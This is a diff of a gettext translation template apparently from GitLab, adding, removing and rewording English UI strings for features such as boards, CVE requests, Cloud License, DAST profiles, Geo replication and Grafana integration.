+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4606,6 +4729,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4708,6 +4834,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4726,6 +4855,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4750,7 +4882,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4885,6 +5017,9 @@ msgstr[2] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4915,6 +5050,12 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4924,9 +5065,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4945,6 +5083,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4954,6 +5095,12 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4966,6 +5113,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4996,6 +5152,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5302,15 +5461,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5329,6 +5479,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5419,6 +5575,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5515,6 +5692,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5635,6 +5815,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5662,6 +5845,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5671,12 +5857,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6319,6 +6511,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6352,6 +6547,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6385,9 +6622,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6406,12 +6640,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6961,6 +7204,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7669,6 +7915,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7732,6 +7981,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8017,6 +8269,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8047,9 +8302,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8134,6 +8386,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8152,6 +8407,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8218,6 +8476,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8440,6 +8701,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8485,9 +8749,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8545,9 +8806,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8602,12 +8872,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8641,6 +8920,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8650,18 +8932,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8806,9 +9085,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8830,6 +9106,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8983,6 +9262,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9046,6 +9328,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9349,8 +9634,11 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9445,6 +9733,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9514,6 +9805,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9574,6 +9871,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9607,6 +9907,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9637,12 +9940,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9721,6 +10036,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9751,6 +10069,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10174,13 +10495,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10291,9 +10618,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10321,9 +10645,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10438,9 +10759,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10600,13 +10918,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10621,7 +10939,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10876,6 +11194,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11119,6 +11440,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11131,6 +11455,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11350,6 +11677,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11374,6 +11704,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11386,6 +11719,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11398,6 +11734,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11509,6 +11848,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11578,9 +11920,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12208,19 +12547,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12229,7 +12568,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12340,9 +12679,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12409,6 +12745,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12478,6 +12817,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12490,12 +12832,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12523,9 +12859,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12547,13 +12880,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12652,6 +12988,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12679,9 +13018,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12730,9 +13075,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12787,9 +13129,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13174,10 +13513,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13210,7 +13549,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13312,6 +13651,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13360,12 +13702,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13375,9 +13720,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13402,6 +13744,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13411,6 +13756,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13426,6 +13774,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13444,9 +13795,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13708,6 +14056,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13750,9 +14101,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13777,6 +14134,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13810,6 +14176,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13837,6 +14209,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13849,6 +14224,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13876,6 +14275,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13888,6 +14290,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13921,6 +14326,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13966,6 +14374,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14095,6 +14506,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14218,6 +14635,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14260,9 +14695,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14392,16 +14824,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14413,6 +14842,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
